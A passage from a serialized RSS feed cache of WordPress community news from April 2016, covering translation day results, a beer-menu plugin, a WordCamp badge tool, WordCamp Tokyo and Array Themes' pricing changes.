rallied during the <a href="http://wptavern.com/global-wordpress-translation-day-draws-448-participants-from-105-countries" target="_blank">Global WordPress Translation Day</a> event to complete it in a matter of days. According to organizer Petya Raykovska, “India was the big surprise with four of the big Indian languages getting new contributors, forming teams, and connecting across India with one another to collaborate live.”</p>\n<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Last year Hindi was far from 100%. Today 8 events in India translate to bo_IN, hi_IN, mr, gu, ml <a href="https://twitter.com/hashtag/WPTranslationday?src=hash">#WPTranslationday</a> <a href="https://t.co/Lq5DoJrf0Q">pic.twitter.com/Lq5DoJrf0Q</a></p>\n<p>&mdash; Petya Raykovska (@petyeah) <a href="https://twitter.com/petyeah/status/724103477002166272">April 24, 2016</a></p></blockquote>\n<p></p>\n<p>Thanks to the eight local translation team events in India, Marathi received a strong enough push to get all WordPress strings translated at 100% just a few days after the event concluded. Hindi is also now at 100% and the other Indian languages are off to a good start with the newly-formed translation teams.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 29 Apr 2016 21:48:12 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:13;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:74:"WPTavern: Create Beer Menus with the Easy Beer Lister Plugin for WordPress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54030";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:84:"http://wptavern.com/create-beer-menus-with-the-easy-beer-lister-plugin-for-wordpress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5072:"<p><a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2015/05/beer.jpg"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2015/05/beer.jpg?resize=869%2C415" alt="beer" class="aligncenter size-full wp-image-43810" /></a></p>\n<p>The explosion of the craft beer scene in recent years means that more breweries and beer bars are <a href="http://wptavern.com/30-beautiful-brewery-websites-built-with-wordpress" target="_blank">building their websites on WordPress</a>. What are you looking for when you visit one of these websites? Why, the beer of course! Unfortunately, with the demands of brewing and serving customers, owners of these establishments don&#8217;t always have time to update their available beers.</p>\n<p>The <a href="https://wordpress.org/plugins/easy-beer-lister/" target="_blank">Easy Beer Lister</a> plugin was created to help breweries keep their information up-to-date. It offers an easy way for users to organize beer on on their websites with the additional benefit of being able to create beer menus with the same information. The menus are mobile friendly and can be printed or displayed on a TV screen.</p>\n<p>Alex Standiford initially started on this project out of a desire to improve his WordPress plugin development skills, but it quickly grew from there once he learned how difficult it is for brewers to keep their beer information up-to-date across all of their mediums.</p>\n<p>&#8220;Many breweries copy/paste their beer menu to their website, or simply don’t update their website at all,&#8221; Standiford said. &#8220;I even heard of a brewer who was staying up late every Friday to update his powerpoint presentation for his beer menu!</p>\n<p>&#8220;Once I realized how much time this was taking from the busy brewery owner, I knew that I needed to do something better than what others have done. I needed to provide them with a single place to update their beer information, where they could efficiently display it to customers in many different ways.&#8221;</p>\n<p>Easy Beer Lister adds a Beer Post Type to your WordPress site with special fields for ABV, OG, IBU, Untappd URL, video, and an image gallery.</p>\n<p><a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/beer-post-type-easy-beer-lister.png"><img src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/beer-post-type-easy-beer-lister.png?resize=793%2C476" alt="beer-post-type-easy-beer-lister" class="aligncenter size-full wp-image-54312" /></a></p>\n<p>Beer styles can be added as categories and beer pairings as tags. Availability can also be specified via a custom taxonomy using terms such as On-Tap, Spring, Summer, Year-Round, etc. Beers take on the design of the active theme, but you can further customize the post type to improve its display. The plugin comes with a few basic templates, but Standiford is also creating more that can be added on.</p>\n<p><a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/beer-page.png"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/beer-page.png?resize=1025%2C826" alt="beer-page" class="aligncenter size-full wp-image-54314" /></a></p>\n<p>Once beers are organized and added to WordPress, users can create custom beer menus to display available beers. Sorting methods, such as availability, food pairings, and what&#8217;s on tap, can be bulk-edited in the admin.</p>\n<p><a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/beer-menu.png"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/beer-menu.png?resize=1025%2C577" alt="beer-menu" class="aligncenter size-full wp-image-54317" /></a></p>\n<p>Easy Beer Lister also includes shortcodes for displaying a specific beer or a list of beers:</p>\n<ul>\n<li><strong>[beer]</strong> &#8211; Create a URL to a specified beer. The link also shows a preview of the beer when you hover over it with your mouse.</li>\n<li><strong>[beer_list]</strong> &#8211; Create a list of beers based on specified parameters, such as style or pairings.</li>\n</ul>\n<p>Standiford plans to open a marketplace for GPL add-ons that extend Easy Beer Lister. <a href="http://www.easybeerlister.com/downloads/untappd-importer/" target="_blank">Untappd Importer</a> is his first add-on, which makes it easy for breweries to get started without having to manually enter all of their beers.</p>\n<p>&#8220;With this add-on, I was able to import all 600+ beers from Dogfish Head Brewing’s Untappd page in about three minutes, including the ABV and IBU information,&#8221; Standiford said. He is working on other add-ons such as a beer image generator, an Instagram photo import function, and a bartender suite that allows bartenders to access a page to add/remove beers from the tap menu/website quickly.</p>\n<p>&#8220;The plugin is more than a tool to help brewers manage their beer on their website,&#8221; Standiford said. &#8220;I aim to use it to dramatically reduce the amount of time a brewer spends updating beer information on all facets of their business.&#8221;</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 29 Apr 2016 18:46:22 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:14;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:84:"WPTavern: WordCamp Organizers Get New Tool for Creating Personalized WordCamp Badges";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54270";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:94:"http://wptavern.com/wordcamp-organizers-get-new-tool-for-creating-personalized-wordcamp-badges";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3947:"<p>Creating personalized WordCamp badges for attendees has traditionally been a time-consuming task for event organizers. Last year the community held 89 WordCamps with 21,000 attendees, and each person received a name badge customized for the event they participated in. That&#8217;s a massive number of badges to prepare for printing.</p>\n<p>In the past, WordCamp organizers <a href="https://make.wordpress.org/community/handbook/wordcamp-organizer-handbook/first-steps/helpful-documents-and-templates/create-wordcamp-badges-with-gravatars/personalized-badges-with-indesign/" target="_blank">used an InDesign template for making the badges</a>, but this required a tedious process of creating a CSV file of attendees, running a custom script, and completing a list of complicated steps. George Stephanis, who had experience using the InDesign template, wanted to simplify this process for organizers and help them move away from having to use a proprietary, commercial software product.</p>\n<p>He <a href="https://make.wordpress.org/community/2016/02/12/name-badges-are-hard-to-make-and-confusing-for-organizers/" target="_blank">built a proof-of-concept plugin</a> that allows organizers to create badges with HTML and CSS inside the WordPress admin. After several iterations and contributions from the community team, Ian Dunn <a href="https://make.wordpress.org/community/2016/04/26/new-tool-for-creating-personalized-wordcamp-badges/" target="_blank">announced</a> that the tool is now ready for use.</p>\n<p>WordCamp organizers can access the tool under Tickets > Tools > Generate Badges or by navigating through the Customizer to the CampTix HTML Badges panel. The default badge design is shown below with the back of the badge (upside-down) and the front beneath it with a marker for poking the lanyard holes. User names and gravatars are automatically displayed.</p>\n<p><a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/wordcamp-badges-with-html-css.png"><img src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/wordcamp-badges-with-html-css.png?resize=900%2C783" alt="wordcamp-badges-with-html-css" class="aligncenter size-full wp-image-54285" /></a></p>\n<p>Stephanis included the CodeMirror bundled with Jetpack’s Custom CSS module to make it easier for organizers to customize the badge design to suit the theme of the WordCamp. The plugin also makes it fairly easy to customize any aspect of the badge using CSS.</p>\n<p>&#8220;The underlying markup has plenty of CSS classes to help with customization,&#8221; Dunn said. &#8220;For example, you could make volunteer badges have a different background color (so that volunteers are easier to find), or make attendees&#8217; last names appear in a smaller font than their first names. There are also plenty of empty &lt; div > elements that you can re-purpose for arbitrary design features.&#8221;</p>\n<p>Once the design is finished, organizers can export as a PDF and take it to a print shop. Documentation for customizing the badges is <a href="https://make.wordpress.org/community/handbook/wordcamp-organizer-handbook/first-steps/helpful-documents-and-templates/create-wordcamp-badges-with-gravatars/personalized-badges-with-html-css/" target="_blank">available in the WordCamp Organizer handbook</a>.</p>\n<p>Organizers are still welcome to use the InDesign tool to create badges, but the new plugin for the customizer is a much easier entry point for those who aren&#8217;t familiar with InDesign. If you can help improve the tool, the code is open source on the <a href="https://meta.svn.wordpress.org/sites/trunk/wordcamp.org/public_html/wp-content/plugins/camptix-badge-generator" target="_blank">Meta repository</a> and <a href="https://make.wordpress.org/community/handbook/wordcamp-organizer-handbook/first-steps/web-presence/contributing-to-wordcamp-org/" target="_blank">available for anyone to patch</a>.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 28 Apr 2016 23:15:39 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:15;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:72:"WPTavern: WordCamp Tokyo 2016 Calls for Speakers, Adds New English Track";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54145";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:81:"http://wptavern.com/wordcamp-tokyo-2016-calls-for-speakers-adds-new-english-track";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2318:"<p><a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/wordcamp-tokyo.png"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/wordcamp-tokyo.png?resize=1025%2C506" alt="wordcamp-tokyo" class="aligncenter size-full wp-image-54265" /></a><br />\n<a href="https://2016.tokyo.wordcamp.org/" target="_blank">WordCamp Tokyo 2016</a> will be held September 17-18 at the <a href="http://www.bellesalle.co.jp/room/bs_shinjukugrand/" target="_blank">Bellesalle Shinjuku Grand</a>. This will be the 9th edition of the event, which sold out last year with 750 attendees.</p>\n<p>Yesterday the WordCamp&#8217;s organizers put out a <a href="https://2016.tokyo.wordcamp.org/04/27/call-for-speakers-en/" target="_blank">call for both for English and Japanese speakers</a>. Last year the event hosted a selection of <a href="https://2015.tokyo.wordcamp.org/session/6-3/" target="_blank">English sessions</a>, but the 2016 edition will add a dedicated track for English speakers with simultaneous interpretation.</p>\n<p>The WordCamp will be broken into three tracks: User, Technical, and Global. Descriptions and example topics for each are available in the <a href="https://2016.tokyo.wordcamp.org/04/27/call-for-speakers-en/" target="_blank">post</a> calling for speakers. All English language presentations will be placed under the Global track but speakers are welcome to submit any topic.</p>\n<p>The theme of WordCamp Tokyo 2016 is &#8220;breaking dawn.&#8221; With the advent of the WP REST API and the recent surge in WordPress-powered application development, the WordPress community is entering a new era. Organizers have selected a motto as part of the theme:</p>\n<p>&#8220;<em>Let’s try something new</em>,” said organizer Toru Miki. &#8220;That is the message we want to get across to the WordCamp Tokyo 2016 attendees. Our goal is to offer sessions that can motivate and stimulate them, just like the beam of sunlight in the dawn.&#8221;</p>\n<p>If you want to attend one of the biggest WordCamps on the planet and you have a topic that you think can inspire attendees, the speaker application deadline is Friday, June 10. Presentations can be 15 minutes, 30 minutes, or 75 minutes. Applicants will be notified of their acceptance status by mid-July.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 28 Apr 2016 20:38:40 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:16;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:67:"WPTavern: WPWeekly Episode 232 – Recap of WordCamp San Diego 2016";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:44:"http://wptavern.com?p=54156&preview_id=54156";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:73:"http://wptavern.com/wpweekly-episode-232-recap-of-wordcamp-san-diego-2016";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2847:"<p>In this episode of WordPress Weekly, <a href="http://marcuscouch.com/">Marcus Couch</a> and I discuss the news of the week as our guest couldn&#8217;t make it.</p>\n<p>Marcus shares his experience at WordCamp San Diego this past weekend and offers feedback to the organizing team. We let you know what&#8217;s in the recently released WordPress update and discuss what happens to the data WordPress.org collects from users sites. As usual, Marcus ends the show with his plugin picks of the week.</p>\n<h2>Stories Discussed:</h2>\n<p><a href="http://wptavern.com/wordpress-4-5-1-fixes-12-bugs">WordPress 4.5.1 Fixes 12 Bugs</a><br />\n<a href="http://wptavern.com/global-wordpress-translation-day-draws-448-participants-from-105-countries">Global WordPress Translation Day Draws 448 Participants from 105 Countries</a><br />\n<a href="http://wptavern.com/wordpress-for-ios-adds-geotag-support-comment-moderation-gestures">WordPress for iOS Adds Geotag Support, Comment Moderation Gestures</a><br />\n<a href="http://wptavern.com/wordpress-4-6-to-update-theme-filter-tags-in-the-admin">WordPress 4.6 to Update Theme Filter Tags in the Admin</a><br />\n<a href="http://wptavern.com/what-wordpress-org-does-with-the-data-it-collects-from-users-sites">What WordPress.org Does with the Data it Collects from Users Sites</a></p>\n<h2>Plugins Picked By Marcus:</h2>\n<p><a href="https://wordpress.org/plugins/video-gallery-awesome-responsive-youtube-vimeo-gallery/">Video Gallery &#8211; YouTube and Vimeo Video Gallery </a>is a responsive plugin that allows you to show YouTube and Vimeo videos in various formats.</p>\n<p><a href="https://wordpress.org/plugins/on-sale-page-for-woocommerce/">OnSale Page for WooCommerce </a>is an extension for WooCommerce that enables you to have a On Sale page with paging, sorting, and filtering options.</p>\n<p><a href="https://wordpress.org/plugins/embed-google-adwords-codes-on-woocommerce/">Embed Google AdWords Codes on WooCommerce </a>enables users to implement Google AdWords conversion tracking to determine how effective ads are. It provides information such as the number of clicks that are generating sales.</p>\n<h2>WPWeekly Meta:</h2>\n<p><strong>Next Episode:</strong> Wednesday, May 4th 9:30 P.M. Eastern</p>\n<p><strong>Subscribe To WPWeekly Via Itunes: </strong><a href="https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738" target="_blank">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via RSS: </strong><a href="http://www.wptavern.com/feed/podcast" target="_blank">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via Stitcher Radio: </strong><a href="http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr" target="_blank">Click here to subscribe</a></p>\n<p><strong>Listen To Episode #232:</strong><br />\n</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 28 Apr 2016 06:24:05 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:17;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:65:"WPTavern: Array Cuts Theme Club Pricing, Releases Free Theme Pack";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54083";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:74:"http://wptavern.com/array-cuts-theme-club-pricing-releases-free-theme-pack";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4007:"<p><a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/array-logo.png"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/array-logo.png?resize=956%2C440" alt="array-logo" class="aligncenter size-full wp-image-54154" /></a></p>\n<p>Array <a href="https://arraythemes.com/welcome-to-array-3-0/" target="_blank">launched a redesign</a> of its theme shop this week along with drastic price cuts for single theme and club purchases. After conducting a <a href="https://arraythemes.com/complete-a-brief-survey-for-50-off/" target="_blank">customer survey</a> earlier this year, the company moved to act on feedback regarding its pricing structure.</p>\n<p>Previously, Array offered single theme purchases ranging in price from $49 to $89 and the entire collection for $199. The new pricing is more straightforward with all single themes at $49 and club membership for $89.</p>\n<p>The company, which began under the name Okay Themes and rebranded two years ago, announced last April that it would be <a href="http://wptavern.com/array-returns-to-themeforest-after-disappointing-experiences-selling-on-creative-market-and-wordpress-com" target="_blank">returning to Themeforest</a> after disappointing experiences selling on Creative Market and WordPress.com. Array currently has five items in its <a href="http://themeforest.net/user/arraythemes/portfolio" target="_blank">portfolio on Themeforest</a> ranging in price from $44-64. The company negotiated an agreement with the marketplace that gives them a better rate than other non-exclusive authors typically receive.</p>\n<p>&#8220;Although I can’t go into this in too much detail, we are actually not operating at the typical non-exclusive author rates, as most would rightfully assume,&#8221; founder Mike McAlister said in a <a href="http://wptavern.com/array-returns-to-themeforest-after-disappointing-experiences-selling-on-creative-market-and-wordpress-com#comment-66896" target="_blank">comment</a> on our post about the news. &#8220;We’ve worked out a mutually beneficial agreement with Envato that gives us a little more room for experimentation and bandwidth for providing quality support.&#8221;</p>\n<p>With equal or more affordable pricing at Themeforest, customers had little incentive to buy directly from the Array website with the previous pricing structure in place. The new $89 club membership is now more compelling for those who are interested in purchasing multiple themes directly from Array.</p>\n<p>In addition to the the redesign and new pricing, Array released a free theme pack to help potential customers get acquainted with their products before purchasing. The pack includes five of their most popular themes, some of which were not previously offered for free, including Author, Editor, Fixed, Typable and Transmit. Editor is also available on WordPress.org and WordPress.com.</p>\n<p><a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/free-theme-pack.jpg"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/free-theme-pack.jpg?resize=1025%2C772" alt="free-theme-pack" class="aligncenter size-full wp-image-54143" /></a></p>\n<p>Array&#8217;s journey over the past two years, which includes pulling out of Themeforest, rebranding, and then jumping back into the marketplace with a more beneficial arrangement, necessitated an update in its pricing structure in order to remain competitive. Customers gravitate towards straightforward pricing that they can understand, especially when products are sold across multiple marketplaces.</p>\n<p>The theme shop&#8217;s experimentation with selling on Themeforest, WordPress.com, Creative Market, Mojo Marketplace, and Array&#8217;s own website shows how much it has had to adapt to reach potential customers. Commercial WordPress themes are a multi-million dollar industry, but there&#8217;s no single avenue paved to success even when partnering with one of the dominant marketplaces.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 28 Apr 2016 05:32:29 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:18;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:18:"Matt: You Yourself";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:22:"https://ma.tt/?p=46523";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:35:"https://ma.tt/2016/04/you-yourself/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:419:"<blockquote><p>You yourself, as much as anybody in the entire universe, deserve your love and affection.</p></blockquote>\n<p>This quote is almost always attributed to Buddha. <a href="http://fakebuddhaquotes.com/you-yourself-as-much-as-anybody-in-the-entire-universe-deserve-your-love-and-affection/">Luckily there&#8217;s a great WordPress site called Fake Buddha Quotes that tracks down its actual provenance</a>.</p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 27 Apr 2016 21:55:24 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:19;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:35:"Matt: Secret History of Tiger Woods";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:22:"https://ma.tt/?p=46519";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:52:"https://ma.tt/2016/04/secret-history-of-tiger-woods/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:283:"<p>ESPN has a fascinating longread on <a href="http://espn.go.com/espn/feature/story/_/id/15278522/how-tiger-woods-life-unraveled-years-father-earl-woods-death">The Secret History of Tiger Woods, especially in the context of his relationship with and the death of his father</a>.</p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 27 Apr 2016 03:33:40 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:20;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:63:"WPTavern: A 42-Year-Old Developer’s Advice on Working in Tech";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54077";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:70:"http://wptavern.com/a-42-year-old-developers-advice-on-working-in-tech";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5455:"<a 